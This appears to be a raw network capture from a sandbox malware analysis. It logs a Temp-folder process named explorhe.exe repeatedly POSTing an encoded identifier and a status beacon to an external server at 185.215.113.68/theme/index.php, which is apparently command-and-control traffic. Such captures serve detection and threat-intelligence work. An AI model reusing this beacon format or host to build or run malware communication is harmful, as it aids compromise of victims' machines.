Jan 18, 2024 00:36:47.310904026 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:47.555099964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.6	50391	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:47.928229094 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:48.166841984 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.6	50392	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:48.410456896 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:48.646961927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.6	50393	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:49.013673067 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:49.252279043 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.6	50394	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:50.539376974 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:50.780925989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.6	50395	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:51.146176100 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:51.386274099 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.6	50396	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:51.642314911 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:51.881764889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.6	50397	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:52.351062059 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:52.586101055 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:52.590442896 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:52.829065084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.6	50398	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:53.190741062 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:53.426057100 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.6	50399	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:53.681224108 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:53.923393011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.6	50400	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:54.281220913 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:54.516619921 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.6	50401	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:54.772629976 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:55.016171932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.6	50402	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:55.396084070 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:55.633425951 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.6	50403	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:55.880713940 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:56.116338968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.6	50404	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:56.479821920 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:56.711286068 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.6	50405	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:56.980417967 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:57.223998070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.6	50406	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:57.586662054 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:57.819447041 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.6	50408	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:58.091984987 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:58.329618931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.6	50409	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:58.699443102 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:58.939488888 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.6	50410	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:59.190759897 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:59.434005022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.6	50411	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:59.814208031 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:00.046629906 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.6	50412	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:00.298717976 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:00.543499947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.6	50413	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:00.893074989 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
